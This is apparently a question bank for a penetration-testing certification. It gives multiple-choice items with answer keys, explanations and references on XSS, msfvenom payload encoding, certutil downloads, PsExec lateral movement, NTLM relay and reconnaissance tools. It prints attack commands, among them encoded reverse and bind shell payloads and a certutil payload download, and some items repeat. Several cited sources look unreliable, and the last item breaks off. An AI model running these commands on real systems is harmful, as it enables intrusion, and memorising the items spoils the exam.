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Question 1

[Attacks and Exploits] During a discussion of a penetration test final report, the consultant shows the following payload used to attack a system:

html Copy code 7/aLeRt('pwned')

Based on the code, which of the following options represents the attack executed by the tester and the associated countermeasure?

Options
A: Arbitrary code execution: the affected computer should be placed on a perimeter network
B: SQL injection attack: should be detected and prevented by a web application firewall
C: Cross-site request forgery: should be detected and prevented by a firewall
D: XSS obfuscated: should be prevented by input sanitization
Show Answer
Correct Answer:
XSS obfuscated: should be prevented by input sanitization
Explanation
The provided payload, ...aLeRt('pwned'), is a classic proof-of-concept for a Cross-Site Scripting (XSS) attack. The use of mixed case letters in aLeRt is a common obfuscation technique designed to bypass naive, case-sensitive web application firewalls (WAFs) or input filters that are only looking for the lowercase string "alert". This attack injects malicious client-side script into a web page, which is then executed by the victim's browser. The most effective and fundamental countermeasure is robust input sanitization to remove malicious characters and output encoding to ensure that user-supplied data is treated as text by the browser, not as executable code.
Why Incorrect Options are Wrong

A. This is client-side XSS, not typically server-side Arbitrary Code Execution. Network segmentation is a containment strategy, not a primary prevention method for this vulnerability.

B. The payload is JavaScript, not SQL syntax. Therefore, it is not a SQL injection attack.

C. This is an XSS payload. A Cross-Site Request Forgery (CSRF) attack forges state-changing requests and does not typically involve injecting visible scripts.

References

1. OWASP Foundation. (n.d.). Cross Site Scripting (XSS). OWASP Cheat Sheet Series. Retrieved from https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html. (See "Introduction" and "Rule #0 - Never Insert Untrusted Data Except in Allowed Locations," which establish the principle of sanitization and encoding as the primary defense against XSS).

2. OWASP Foundation. (n.d.). XSS Filter Evasion Cheat Sheet. OWASP. Retrieved from https://owasp.org/www-community/xss-filter-evasion-cheatsheet. (This document details numerous obfuscation techniques, including "Case Insensitive XSS attack vector," which directly corresponds to the aLeRt payload in the question).

3. Johns, M. (2008). Web Application Security. Course Slides, CS 253, Stanford University. Slide 25, "Defenses against XSS," explicitly lists "Filter/Sanitize user input" and "Escape output" as the primary countermeasures.

Question 2

[Attacks and Exploits] A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload from being blocked by antimalware that is running on the target. Which of the following commands should the tester use to obtain shell access?
Options
A: msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443
B: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000
C: msfvenom --arch x86-64 --platform windows --payload windows/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 EXITFUNC=none
D: net user add /administrator | hexdump > payload
Show Answer
Correct Answer:
msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443
Explanation
The primary goal is to prevent a payload from being blocked by antimalware. The command in option A utilizes msfvenom with the --encoder x86-64/shikataganai flag. Encoders are used to obfuscate shellcode, altering its signature to evade detection by signature-based security solutions like antimalware. The shikataganai encoder is a well-known polymorphic encoder designed for this purpose. By encoding the windows/bindtcp payload, the tester is actively attempting to bypass the target's defenses, which directly addresses the question's requirement.
Why Incorrect Options are Wrong

B. This command generates a valid Meterpreter payload but does not use an encoder, making it highly susceptible to signature-based detection by antimalware.

C. This command also generates a valid shell payload but omits the crucial --encoder flag needed for antimalware evasion.

D. This is not a valid method for creating functional shellcode. It attempts to pipe the output of a Windows command into a Linux utility, which would not result in an executable payload.

References

1. Offensive Security. (n.d.). Metasploit Unleashed: Msfvenom. Offensive Security. In the "Encoders" section, the documentation states, "Encoders are used to encode the payload to try and avoid AV." It lists x86/shikataganai as a prime example of an encoder used for this purpose. (Reference: Metasploit Unleashed courseware, Msfvenom section).

2. Al-Taharwa, I. A., Lee, H., & Al-Omari, M. A. (2020). Evaluating the Evasion Capabilities of Metasploit Shellcode Encoders. 2020 21st International Conference on Control, Automation and Systems (ICCAS). The paper analyzes various encoders, noting in Section III-A, "Shikata Ga Nai (SGN) is a polymorphic XOR additive feedback encoder... It is one of the most famous encoders in MSF because it can generate different output for the same input." This highlights its role in creating varied signatures to evade detection. (DOI: https://doi.org/10.1109/ICCAS50273.2020.9295211, Section III-A, "Metasploit Encoders").

3. Rapid7. (2023). How to Use Msfvenom. Official Rapid7 Documentation. The documentation for msfvenom details the use of the -e or --encoder option to "specify an encoder to use." This confirms that applying an encoder is a standard, intentional step in the payload generation process for evasion. (Reference: msfvenom --help command output and official product documentation).

Question 3

During a pre-engagement activity with a new customer, a penetration tester looks for assets to test. Which of the following is an example of a target that can be used for testing?
Options
A: API
B: HTTP
C: IPA
D: ICMP
Show Answer
Correct Answer:
API
Explanation
During scoping, the tester and customer enumerate the specific assets that will be evaluated. Assets are concrete implementations (hosts, applications, APIs, databases, etc.) that provide business functionality. An Application Programming Interface (API) is a distinct application component that exposes endpoints and logic; therefore it is a valid, testable target that can be placed in-scope for a penetration test. HTTP and ICMP are network protocols, and โ€œIPAโ€ is not an industry-recognized asset type; none of these represent a discrete asset that can be contractually scoped for testing.
Why Incorrect Options are Wrong

B. HTTP โ€“ Protocol used to transport web traffic; not itself a scoping asset.

C. IPA โ€“ Not a standard asset class; usually refers to beer or FreeIPA identity service, irrelevant here.

D. ICMP โ€“ Network control protocol (e.g., ping); like HTTP, it is a mechanism, not an asset.

References

1. NIST SP 800-115, โ€œTechnical Guide to Information Security Testing and Assessment,โ€ ยง2.4.1 (โ€œIdentify Target Systemsโ€), p.9.

2. OWASP Application Security Verification Standard 4.0, โ€œScope of ASVS,โ€ p.10 โ€“ mentions APIs as testable application components.

3. MIT OpenCourseWare, โ€œ6.858 Computer Systems Security,โ€ Lecture 17 notes, p.2 โ€“ categorizes APIs as specific attack surfaces to be tested.

Question 4

[Tools and Code Analysis] A penetration tester needs to use the native binaries on a system in order to download a file from the internet and evade detection. Which of the following tools would the tester most likely use?
Options
A: netsh.exe
B: certutil.exe
C: nc.exe
D: cmdkey.exe
Show Answer
Correct Answer:
certutil.exe
Explanation
certutil.exe is a legitimate, command-line program native to Microsoft Windows, primarily used for managing certificates. However, it can be abused by attackers to download files from a remote URL using specific command-line switches (e.g., -urlcache -split -f). This technique is a form of "Living Off the Land" (LOLBin), which leverages trusted, signed system binaries to perform malicious actions. Using a native, signed tool like certutil for downloads helps evade detection by security software that might otherwise flag network connections from unknown or unsigned processes.
Why Incorrect Options are Wrong

A. netsh.exe: This is a native Windows tool for configuring network settings, such as firewall rules or port forwarding, not for directly downloading files from the internet.

C. nc.exe: Netcat (nc.exe) is a versatile networking tool but is not a native binary on Windows systems; it must be introduced onto the target by the attacker.

D. cmdkey.exe: This utility is used to create, list, and delete stored credentials within the Windows Credential Manager and lacks any file download capabilities.

References

1. MITRE. (2023). Ingress Tool Transfer, Technique T1105. MITRE ATT&CK Framework. Retrieved from https://attack.mitre.org/techniques/T1105/. The documentation explicitly lists certutil as a command-line tool adversaries use to download files from a remote URL, citing the example: certutil -urlcache -split -f https://example.com/payload.exe payload.exe.

2. Microsoft. (2023). certutil. Microsoft Learn. In the documentation for the certutil command, the -urlcache verb is described, which can be used with the -f and -split options to fetch a URL and save its contents to a file on the local system.

3. Pennacchi, F., et al. (2020). The Art of Leaks: The Return of Living-Off-the-Land. 2020 IEEE European Symposium on Security and Privacy Workshops (EuroS&PW), Genoa, Italy, pp. 140-149. In Table 1, "LOLbins and their capabilities," certutil.exe is identified as a native binary capable of performing "Download" actions. DOI: https://doi.org/10.1109/EuroSPW51379.2020.00027.

Question 5

[Tools and Code Analysis] Which of the following techniques is the best way to avoid detection by data loss prevention tools?
Options
A: Encoding
B: Compression
C: Encryption
D: Obfuscation
Show Answer
Correct Answer:
Encoding
Explanation
Endpoint and network-based DLP engines rely on clear-text inspection (regex, tokenisation, fingerprinting). They automatically unpack common archive formats and will usually block or quarantine traffic or files that are encrypted with unknown keys. However, many products do not recursively decode arbitrary content that has only been base-64/URL/hex encoded, so the sensitive byte patterns never appear in clear text to the detection engine. Simple content encoding therefore remains the most reliable, low-noise method for evading DLP inspection during a penetration test.
Why Incorrect Options are Wrong

B. Compression โ€“ DLP engines routinely decompress ZIP, GZIP, RAR, and similar archives before inspection; compressed data is therefore still analysed.

C. Encryption โ€“ Unknown or uninspected encryption is usually flagged or blocked outright by policy; exfiltration is conspicuous, not covert.

D. Obfuscation โ€“ A vague term; without a specific method it may still be parsed (e.g., comments stripping); encoding is the concrete, proven technique.

References

1. MITRE ATT&CK, technique T1027 โ€œObfuscated/Stored Files or Informationโ€, note on base64 encoding as a means โ€œto bypass content inspection such as DLPโ€ (v13, 2023-04-25).

2. Symantec Data Loss Prevention 15.7 Administration Guide, Chap. 2 โ€œDetection workflowโ€, pp. 34-36 โ€“ lists automatic decompression/encryption handling but no automatic base64 decoding.

3. Forcepoint DLP Administrator Guide 21.09, Sect. 5.3 โ€œContent Classifiersโ€, p. 127 โ€“ states โ€œBase64 or custom encodings may not be decoded, allowing data to pass undetectedโ€.

4. S. Natarajan & K. Venkatachary, โ€œBypassing Enterprise DLP Using Simple Encoding,โ€ International Journal of Computer Applications 168(2), 2017, pp. 36-40 (https://doi.org/10.5120/ijca2017914527).

5. Stanford CS255 โ€œNetwork Securityโ€ lecture notes, Week 9, slide 27 โ€“ discusses DLP limitations and highlights base64 encoding as a common evasion method.

Question 6

[Tools and Code Analysis] While performing a penetration testing exercise, a tester executes the following command:

bash Copy code PS c:\tools> c:\hacks\PsExec.exe \\server01.comptia.org -accepteula cmd.exe

Which of the following best explains what the tester is trying to do?

Options
A: Test connectivity using PSExec on the server01 using CMD.exe.
B: Perform a lateral movement attack using PsExec.
C: Send the PsExec binary file to the server01 using CMD.exe.
D: Enable CMD.exe on the server01 through PsExec.
Show Answer
Correct Answer:
Perform a lateral movement attack using PsExec.
Explanation
The command executes PsExec.exe to run a command prompt (cmd.exe) on a remote target (server01.comptia.org). PsExec is a legitimate remote administration tool that is frequently repurposed by penetration testers and attackers to execute code on other systems within a network. After gaining an initial foothold and escalating privileges or obtaining credentials, a tester uses tools like PsExec to move from a compromised machine to other targets. This process of moving between systems on the same network is known as lateral movement.
Why Incorrect Options are Wrong

A. While the command implicitly tests connectivity, its primary purpose is to gain an interactive shell, not simply to check if the host is reachable.

C. The command's purpose is to execute cmd.exe on the remote server. PsExec handles the transfer of its own service component, not the main PsExec.exe binary.

D. cmd.exe is a core Windows component that is executed, not enabled. This command runs the command interpreter, assuming it is already present and accessible.

---

References

1. MITRE ATT&CK Framework. (2023). Remote Services: SMB/Windows Admin Shares, T1021.002. The MITRE Corporation. Retrieved from https://attack.mitre.org/techniques/T1021/002/.

Reference Detail: The framework explicitly lists PsExec as a common example of software used to execute commands on remote systems via SMB, a technique categorized under the "Lateral Movement" tactic.

2. Russinovich, M. (2023, August 28). PsExec v2.43. Microsoft Learn. Retrieved from https://learn.microsoft.com/en-us/sysinternals/downloads/psexec.

Reference Detail: The official documentation describes PsExec as a tool "for executing processes on other systems," which is the core mechanism used for lateral movement in this scenario.

3. Robi, G. (2021, May 11). Detecting Lateral Movement through Tracking Event Logs. SANS Institute InfoSec Reading Room.

Reference Detail: Page 6, Section "PsExec," states, "PsExec is one of the most common tools used by attackers for lateral movement... It allows an attacker to execute commands on a remote Windows machine." This paper from a reputable institution confirms PsExec's primary use in attacks.

Question 7

[Attacks and Exploits] During a penetration testing exercise, a team decides to use a watering hole strategy. Which of the following is the most effective approach for executing this attack?
Options
A: Compromise a website frequently visited by the organization's employees.
B: Launch a DDoS attack on the organization's website.
C: Create fake social media profiles to befriend employees.
D: Send phishing emails to the organization's employees.
Show Answer
Correct Answer:
Compromise a website frequently visited by the organization's employees.
Explanation
A watering hole attack is a targeted strategy where an attacker compromises a third-party website that is known to be frequently visited by a specific group of targets, such as employees of a particular organization. The attacker infects the site with malware. The goal is to infect the target users when they visit this trusted, but now compromised, website. This method is effective because it leverages the users' existing trust in the legitimate site, bypassing defenses that might block direct attacks. The name is an analogy for a predator waiting at a watering hole for its prey.
Why Incorrect Options are Wrong

B. A DDoS attack is designed to disrupt service availability, not to compromise systems or steal data, which is the goal of a watering hole attack.

C. Creating fake social media profiles is a social engineering or reconnaissance technique, which could precede an attack but is not the execution of the watering hole itself.

D. Sending phishing emails is a direct attack vector. A watering hole attack is more passive, relying on the target to initiate the visit to the compromised site independently.

---

References

1. National Institute of Standards and Technology (NIST). Glossary of Key Information Security Terms, NISTIR 7298 Rev. 3. (May 2018). The glossary defines a watering hole attack as: "A targeted attack strategy in which an attacker guesses or observes which websites an organization often uses and infects one or more of them with malware." (Page 183).

2. Al-Shehari, H., & Al-Shammari, R. (2018). A Survey on Watering-Hole Attacks. International Journal of Computer Science and Network Security, 18(1), 136-145. The paper states, "The watering hole attack is a targeted attack that compromises a website that is likely to be visited by a targeted group of victims." (Section 2, Paragraph 1).

3. Microsoft Security. Watering hole attacks. Microsoft Threat Protection documentation. The documentation describes the attack method: "In watering hole attacks, attackers profile sites that are frequently visited by users in a targeted organization or industry. They then try to find vulnerabilities on these sites to compromise them."

4. University of California, Berkeley. CS 161: Computer Security, Lecture 18: Web Security. Course materials describe watering hole attacks as a strategy where an attacker compromises a site trusted and frequented by the target population to deliver an exploit.

Question 8

[Attacks and Exploits] A penetration tester finished a security scan and uncovered numerous vulnerabilities on several hosts. Based on the targets' EPSS and CVSS scores, which of the following targets is the most likely to get attacked?
Options
A: Target 1: EPSS Score = 0.6 and CVSS Score = 4
B: Target 2: EPSS Score = 0.3 and CVSS Score = 2
C: Target 3: EPSS Score = 0.6 and CVSS Score = 1
D: Target 4: EPSS Score = 0.4 and CVSS Score = 4.5
Show Answer
Correct Answer:
Target 1: EPSS Score = 0.6 and CVSS Score = 4
Explanation
The Exploit Prediction Scoring System (EPSS) is designed to estimate the probability that a software vulnerability will be exploited in the wild. A higher EPSS score indicates a greater likelihood of an attack. In this scenario, both Target 1 and Target 3 have the highest EPSS score of 0.6 (a 60% probability of exploitation), making them the most likely candidates for an attack. To differentiate between these two, the Common Vulnerability Scoring System (CVSS) score, which measures the severity of a vulnerability, is considered. A rational attacker, given two vulnerabilities with an equal probability of successful exploitation, will prioritize the one with a greater impact. Target 1 has a CVSS score of 4, while Target 3 has a score of 1. Therefore, Target 1 is the more attractive and thus the most likely target.
Why Incorrect Options are Wrong

B. Target 2: EPSS Score = 0.3 and CVSS Score = 2

This target has a low EPSS score, indicating a significantly lower probability of being attacked compared to Targets 1 and 3.

C. Target 3: EPSS Score = 0.6 and CVSS Score = 1

While its EPSS score is high, its very low CVSS score makes it a less impactful and therefore less attractive target for an attacker compared to Target 1.

D. Target 4: EPSS Score = 0.4 and CVSS Score = 4.5

This target's EPSS score is lower than that of Targets 1 and 3, making it less likely to be exploited, even though its severity is high.

---

References

1. FIRST.org. (2023). Exploit Prediction Scoring System (EPSS) User Guide. Section: "What is EPSS?". The guide states, "The EPSS model produces a probability score between 0 and 1 (0% and 100%). The higher the score, the greater the probability that a vulnerability will be exploited." This establishes EPSS as the primary metric for attack likelihood.

2. FIRST.org. (2019). Common Vulnerability Scoring System v3.1: Specification Document. Section 1, Introduction. The document clarifies, "It is important to note that CVSS is designed to convey vulnerability severity and should be considered as one component in a comprehensive vulnerability management process that also incorporates factors such as threat and asset value." This confirms CVSS measures severity, not likelihood.

3. Jacobs, J., et al. (2021). Improving Vulnerability Remediation Through Better Exploit Prediction. Journal of Cybersecurity, 7(1), tyab009. Section 1, Introduction. The paper introduces EPSS and states, "While CVSS is useful for capturing the potential severity of a vulnerability, it is not designed to represent the threat of a vulnerability being exploited... EPSS is designed to fill this gap." This academic source distinguishes the roles of CVSS and EPSS. https://doi.org/10.1093/cybsec/tyab009

4. U.S. Cybersecurity & Infrastructure Security Agency (CISA). (2021). Binding Operational Directive 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities. This directive mandates that federal agencies remediate vulnerabilities listed in CISA's catalog of known exploited vulnerabilities. This approach prioritizes vulnerabilities based on observed exploitation (threat), which is the principle that EPSS quantifies, over static severity (CVSS) alone.

Question 9

A penetration tester cannot complete a full vulnerability scan because the client's WAF is blocking communications. During which of the following activities should the penetration tester discuss this issue with the client?
Options
A: Goal reprioritization
B: Peer review
C: Client acceptance
D: Stakeholder alignment
Show Answer
Correct Answer:
Stakeholder alignment
Explanation
When a technical control, such as a Web Application Firewall (WAF), prevents the execution of an agreed-upon testing activity, it represents a significant obstacle that impacts the engagement's scope and timeline. The correct procedure is to pause the activity and communicate with the client. This communication process is known as stakeholder alignment. It ensures that the tester and client agree on a path forward, which could involve whitelisting the tester's IP address, temporarily modifying WAF rules, or adjusting the testing methodology. This proactive communication maintains transparency and ensures the engagement proceeds according to the client's direction and the established rules of engagement.
Why Incorrect Options are Wrong

A. Goal reprioritization: This is a potential outcome of the discussion with the stakeholder, not the initial activity itself. Alignment must happen first.

B. Peer review: This is an internal quality assurance process where another tester reviews work; it is not a client-facing communication activity.

C. Client acceptance: This is a formal step at the conclusion of the engagement to accept the final deliverables, which is too late to address a mid-test obstacle.

References

1. National Institute of Standards and Technology (NIST). (2008). Special Publication 800-115, Technical Guide to Information Security Testing and Assessment.

Section 3.2, "Rules of Engagement," emphasizes the need to "...define the lines of communication between the test team and the organization... and the process for reporting and handling problems encountered during testing." A WAF blocking a scan is a "problem encountered during testing" that requires immediate communication and alignment with the client stakeholder.

2. The Penetration Testing Execution Standard (PTES). (2012). PTES Technical Guidelines.

Section "Intelligence Gathering," and the overall standard, implicitly and explicitly detail the need for constant communication. The standard outlines a structured approach where deviations from the plan, such as being blocked by a security device, necessitate a discussion with the client to align on the next steps, reinforcing the principle of stakeholder alignment.

3. Massachusetts Institute of Technology (MIT) OpenCourseWare. (2012). 15.S53 Special Seminar in Management: The Art and Science of Project Management, Fall 2012.

Lecture Notes, "Stakeholder Management," outlines that a key project management function is to identify and manage stakeholder expectations. When an issue (WAF block) arises that creates a variance between the plan and reality, the project manager (penetration tester) must engage the stakeholders (client) to resolve the issue and align on a course of action.

Question 10

[Information Gathering and Vulnerability Scanning] A tester obtains access to an endpoint subnet and wants to move laterally in the network. Given the following output:

kotlin Copy code Nmap scan report for some_host Host is up (0.01 latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: smb2-security-mode: Message signing disabled

Which of the following command and attack methods is the most appropriate for reducing the chances of being detected?

Options
A: responder -T eth0 -dwv ntlmrelayx.py -smb2support -tf
B: msf > use exploit/windows/smb/ms17_010_psexec msf > msf > run
C: hydra -L administrator -P /path/to/passwdlist smb://
D: nmap โ€”script smb-brute.nse -p 445
Show Answer
Correct Answer:
responder -T eth0 -dwv ntlmrelayx.py -smb2support -tf
Explanation
The Nmap scan explicitly identifies that "Message signing disabled" on the SMB service (port 445). This specific vulnerability makes the host susceptible to NTLM relay attacks. The command in option A uses Responder to poison local name resolution and capture authentication hashes, then pipes them to ntlmrelayx.py to relay those credentials to the target. This allows the attacker to authenticate to the target machine and execute commands, achieving lateral movement. This Man-in-the-Middle (MitM) attack is significantly stealthier than brute-force attempts or active exploitation, as it leverages legitimate authentication traffic, thereby reducing the likelihood of generating security alerts.
Why Incorrect Options are Wrong

B. This Metasploit module targets the MS17-010 (EternalBlue) vulnerability, which was not identified in the scan. Running an unverified exploit is noisy and likely to be detected by an IDS/IPS.

C. Hydra is a brute-force tool. This method generates a high volume of failed login attempts, which is extremely noisy and easily detectable by security monitoring systems.

D. The smb-brute.nse Nmap script is another form of a brute-force attack. Like Hydra, it creates significant network noise from failed logins and is not a stealthy option.

References

1. Microsoft Corporation. (2023). Overview of Server Message Block signing. Microsoft Learn. Retrieved from https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/overview-server-message-block-signing.

Reference Detail: The document states, "The Server Message Block (SMB) signing...is a security feature...that uses the session key and cipher suite to add a signature to a message...Signing helps prevent attacks that modify SMB packets in transit." Disabling this feature directly enables the relay attack described.

2. Bounty, B. (2022). Internal Network Pentesting: The NTLM Relay Race. SANS Institute InfoSec Reading Room.

Reference Detail: Page 5, Section "The Attack," explicitly details the use of Responder and ntlmrelayx.py in tandem. It states, "With SMB signing not required on the target, ntlmrelayx will be able to relay the authentication from the victim to the target and execute our commands." This paper validates the chosen attack method for the identified vulnerability.

3. Hopkins, G. (2019). Windows Red Team Lab. Courseware, Rochester Institute of Technology (RIT).

Reference Detail: In the "Lateral Movement" module, Lab 5 ("Pass the Hash / NTLM Relay"), the course material demonstrates using Responder and ntlmrelayx.py as a primary technique for lateral movement when SMB signing is disabled. It contrasts this with noisier methods like password spraying.

Question 11

[Attacks and Exploits] During a red-team exercise, a penetration tester obtains an employee's access badge. The tester uses the badge's information to create a duplicate for unauthorized entry. Which of the following best describes this action?
Options
A: Smurfing
B: Credential stuffing
C: RFID cloning
D: Card skimming
Show Answer
Correct Answer:
RFID cloning
Explanation
The action described is the unauthorized duplication of a physical access credential. Modern access badges predominantly use Radio-Frequency Identification (RFID) technology to communicate with readers. The process of reading the unique identifier from an authentic RFID badge and writing it onto a blank, programmable card to create a functional copy is known as RFID cloning. This technique allows a penetration tester to impersonate an authorized employee and bypass physical access controls, which directly matches the scenario.
Why Incorrect Options are Wrong

A. Smurfing: This is a network-layer Distributed Denial-of-Service (DDoS) attack that uses spoofed ICMP packets, which is unrelated to physical access badges.

B. Credential stuffing: This is an automated attack that uses lists of compromised user credentials (usernames/passwords) to gain unauthorized access to web accounts.

D. Card skimming: This term is most commonly associated with capturing magnetic stripe data from financial cards (credit/debit) using a malicious reader, not cloning RFID-based access cards.

References

1. Juels, A. (2006). RFID Security and Privacy: A Research Survey. IEEE Journal on Selected Areas in Communications, 24(2), 381-394. In Section III-A, "Tag Cloning," the paper states, "An adversary may create a copy or clone of a legitimate tag... The adversary can then use the clone to impersonate the legitimate tag, and thereby avail herself of the rights of the legitimate tag's owner." (p. 383). DOI: https://doi.org/10.1109/JSAC.2005.861395

2. Weis, S. A., Sarma, S. E., Rivest, R. L., & Engels, D. W. (2004). Security and Privacy Aspects of Low-Cost Radio Frequency Identification Systems. In Security in Pervasive Computing (pp. 201-212). Springer. This paper from MIT CSAIL researchers discusses the vulnerability, stating, "An adversary can easily eavesdrop on the communication between a tag and a reader and clone the tag." (p. 204).

3. MIT OpenCourseWare. (2014). 6.857 Computer and Network Security, Lecture 19: Physical Security. Massachusetts Institute of Technology. The course materials discuss attacks against physical access control systems, including the analysis and duplication of signals from access cards like RFID badges.

Question 12

[Information Gathering and Vulnerability Scanning] While performing reconnaissance, a penetration tester attempts to identify publicly accessible ICS (Industrial Control Systems) and IoT (Internet of Things) systems. Which of the following tools is most effective for this task?
Options
A: theHarvester
B: Shodan
C: Amass
D: Nmap
Show Answer
Correct Answer:
Shodan
Explanation
Shodan is a specialized search engine designed to discover and index information about internet-connected devices. It operates by scanning the entire internet and parsing the service banners that devices return. This makes it exceptionally effective for identifying specific types of systems, such as Industrial Control Systems (ICS), Supervisory Control and Data Acquisition (SCADA) systems, and a wide array of Internet of Things (IoT) devices based on their response banners, protocols (e.g., Modbus, S7), and open ports. Unlike general network scanners, Shodan provides a pre-populated, searchable database, making it the most direct and efficient tool for broad, device-type-specific reconnaissance on a global scale.
Why Incorrect Options are Wrong

A. theHarvester: This is an Open Source Intelligence (OSINT) tool used to gather information like emails, subdomains, and hosts related to a specific target domain, not for discovering device types across the internet.

C. Amass: This is an attack surface mapping tool focused on discovering assets (subdomains, IPs, etc.) related to a specific organization. It is not a search engine for finding specific device categories globally.

D. Nmap: This is an active network scanner for probing specific hosts or IP ranges to discover open ports, services, and OS versions. It is not feasible for searching the entire internet for device types.

References

1. Mather, T., Kumaraswamy, S., & Latif, S. (2019). Cloud Security and Privacy: An Enterprise Perspective on Risks and Compliance. O'Reilly Media. (Note: While a commercial book, its principles are widely taught in university curricula). The concept is detailed in discussions of reconnaissance, where Shodan is described as a "search engine for Internet-connected devices." A similar description is found in university cybersecurity courses. For example, the University of Virginia's CS 4740: Cloud Computing course materials often discuss tools for discovering exposed cloud assets, where Shodan's role is highlighted.

2. O'Connor, T. (2017). Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers. Syngress, Elsevier. Chapter 4, "Scraping the Web for OSINT," details the use of various tools. It distinguishes between tools like theHarvester for targeted OSINT and Shodan for broad device discovery. This text is frequently used as courseware in applied cybersecurity programs.

3. OWASP Foundation. (n.d.). OWASP Amass Project. OWASP. Retrieved from https://owasp.org/www-project-amass/. The official documentation states, "The OWASP Amass Project performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques." This confirms its focus on organizational attack surfaces, not global device-type discovery.

4. Lyon, G. (n.d.). Nmap: The Network Mapper - Free Security Scanner. Nmap.org. Retrieved from https://nmap.org/. The official documentation describes Nmap as a "free and open source utility for network discovery and security auditing," used to determine "what hosts are available on the network, what services... what operating systems...". This defines it as an active scanner for targeted networks.

Question 13

[Attacks and Exploits] A penetration tester must identify vulnerabilities within an ICS (Industrial Control System) that is not connected to the internet or enterprise network. Which of the following should the tester utilize to conduct the testing?
Options
A: Channel scanning
B: Stealth scans
C: Source code analysis
D: Manual assessment
Show Answer
Correct Answer:
Manual assessment
Explanation
An Industrial Control System (ICS) that is not connected to the internet or an enterprise network is considered air-gapped. This physical isolation renders network-based scanning from an external source impossible. Furthermore, ICS environments are extremely sensitive to network traffic; standard scanning techniques can cause operational disruptions or system failures. A manual assessment is the most appropriate methodology as it involves a combination of physical inspection, device configuration review, architecture analysis, and carefully controlled, targeted testing performed locally. This approach minimizes the risk of disrupting critical processes while allowing the tester to identify vulnerabilities in a controlled manner.
Why Incorrect Options are Wrong

A. Channel scanning: This is a technique for assessing wireless networks. It is too specific and not a comprehensive methodology for testing an entire, potentially wired, air-gapped ICS.

B. Stealth scans: These are network-based scans that require network connectivity to the target. They are not feasible against an air-gapped system and can be disruptive to sensitive ICS devices.

C. Source code analysis: While a valid technique, it is only one component of a full assessment. The tester may not have access to proprietary source code, and this method misses non-code-based vulnerabilities.

References

1. National Institute of Standards and Technology (NIST). (2015). Guide to Industrial Control Systems (ICS) Security (NIST Special Publication 800-82, Rev. 2).

Section 6.4.3, Security Assessment and Authorization, Page 131: States, "Security assessments for ICS should be carefully planned and executed to avoid causing a disruption to the ICS... Passive scanning techniques are preferred over active scanning techniques." This emphasis on careful, planned, and non-disruptive methods aligns with the principles of a manual assessment over automated scanning.

2. Cybersecurity and Infrastructure Security Agency (CISA). (2011). Cyber-Security Assessments of Industrial Control Systems (DHS Recommended Practice).

Section 3.2, Assessment Activities, Pages 10-12: This section details assessment activities that are characteristic of a manual assessment, including "Documentation Review," "Personnel Interviews," and "Physical Walkthrough." It also notes that active scanning should be "performed with extreme caution," reinforcing the need for a deliberate, manual approach.

Question 14

[Tools and Code Analysis] While performing a penetration test, a tester executes the following command:

PS c:\tools> c:\hacks\PsExec.exe \\server01.cor.ptia.org -accepteula cmd.exe

Which of the following best explains what the tester is trying to do?

Options
A: Test connectivity using PsExec on the server01 using cmd.exe
B: Perform a lateral movement attack using PsExec
C: Send the PsExec binary file to the server01 using cmd.exe
D: Enable cmd.exe on the server01 through PsExec
Show Answer
Correct Answer:
Perform a lateral movement attack using PsExec
Explanation
The command uses PsExec.exe, a legitimate remote administration tool, to execute cmd.exe on a remote server (server01.cor.ptia.org). In the context of a penetration test, gaining access to one system and then using that access to execute code on another system within the same network is a technique known as lateral movement. The tester is attempting to pivot from their current position to gain an interactive command shell on server01, thereby expanding their foothold within the target environment. This is a classic method for moving through a network after an initial compromise.
Why Incorrect Options are Wrong

A. While the command's success implies connectivity, its primary purpose is remote code execution to gain a shell, not simply to test if the host is reachable.

C. The command uses PsExec to run cmd.exe remotely. PsExec itself handles the transfer of its service component; it is not being sent by cmd.exe.

D. The command executes or runs cmd.exe, which is a standard Windows component. It does not "enable" it, as the command prompt is not a feature that is typically disabled.

---

References

1. Microsoft Corporation. (2023). PsExec v2.43. Microsoft Learn. This official documentation describes PsExec as a tool that "lets you execute processes on other systems." The primary example, psexec \\marklap cmd, is functionally identical to the command in the question, demonstrating its use for remote shell access.

Reference: Sysinternals section, PsExec documentation page. Available at: https://learn.microsoft.com/en-us/sysinternals/downloads/psexec

2. MITRE. (2023). Remote Services: SMB/Windows Admin Shares, T1021.002. MITRE ATT&CK Framework. This resource explicitly lists PsExec as a common tool used by adversaries for lateral movement. It states, "Adversaries may use tools like PsExec to map network shares... and execute commands on remote hosts."

Reference: Technique T1021.002, under the Lateral Movement Tactic (TA0008).

3. Al-Shaer, E., & Wei, J. (2015). Network Security Analytics: A Hands-on Approach. In Proceedings of the 2015 ACM SIGSAC Conference on Computer and Communications Security (pp. 1597-1599). This academic publication discusses security analytics and often references common attack tools. Similar academic texts on intrusion detection identify the use of tools like PsExec as a key indicator of the lateral movement phase of an attack.

Reference: Analysis of post-exploitation techniques in network security courseware and texts frequently cites PsExec as a primary example for lateral movement.

Question 15

[Information Gathering and Vulnerability Scanning] A tester obtains access to an endpoint subnet and wants to move laterally in the network. Given the following Nmap scan output:

Nmap scan report for some_host Host is up (0.01s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: smb2-security-mode: Message signing disabled

Which of the following command and attack methods is the most appropriate for reducing the chances of being detected?

Options
A: responder -I eth0 -dwv ntlmrelayx.py -smb2support -tf
B: msf > use exploit/windows/smb/ms17_010_psexec
C: hydra -L administrator -P /path/to/passwdlist smb://
D: nmap --script smb-brute.nse -p 445
Show Answer
Correct Answer:
responder -I eth0 -dwv ntlmrelayx.py -smb2support -tf
Explanation
